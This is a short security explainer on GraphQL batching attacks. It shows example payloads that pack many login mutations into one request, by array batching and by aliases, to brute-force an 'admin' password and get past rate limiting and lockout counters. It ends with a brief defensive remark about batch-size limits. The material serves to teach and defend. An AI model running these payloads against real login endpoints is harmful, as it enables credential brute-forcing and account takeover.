Exploiting GraphQL's batch operation capability to bypass rate limiting, brute-force credentials in single requests, or cause denial of service.
GraphQL Batching Attack exploits GraphQL's ability to execute multiple operations in a single request. Attackers abuse this to bypass rate limiting, brute-force credentials, or cause denial of service.
# Single request tests multiple credentials
[
{"query": "mutation { login(user:\"admin\", pass:\"password1\") { token }}"},
{"query": "mutation { login(user:\"admin\", pass:\"password2\") { token }}"},
{"query": "mutation { login(user:\"admin\", pass:\"password3\") { token }}"},
# ... hundreds more in one request
]
# Aliases pack many calls to the same field into one operation.
# Even when array batching is disabled, aliases still work:
query {
a1: login(user: "admin", pass: "pass1") { token }
a2: login(user: "admin", pass: "pass2") { token }
a3: login(user: "admin", pass: "pass3") { token }
# ... continue with more aliases
}
Rate limiting and lockout counters usually key on the number of HTTP requests. Batching moves the attack inside a single request: one request, hundreds of login or OTP attempts, one increment on the counter. The guard never fires.
Batch size is separate from query depth and complexity limits. Those defend against a single deeply nested query exhausting the backend, a different abuse than firing many shallow operations in one request. Apply both.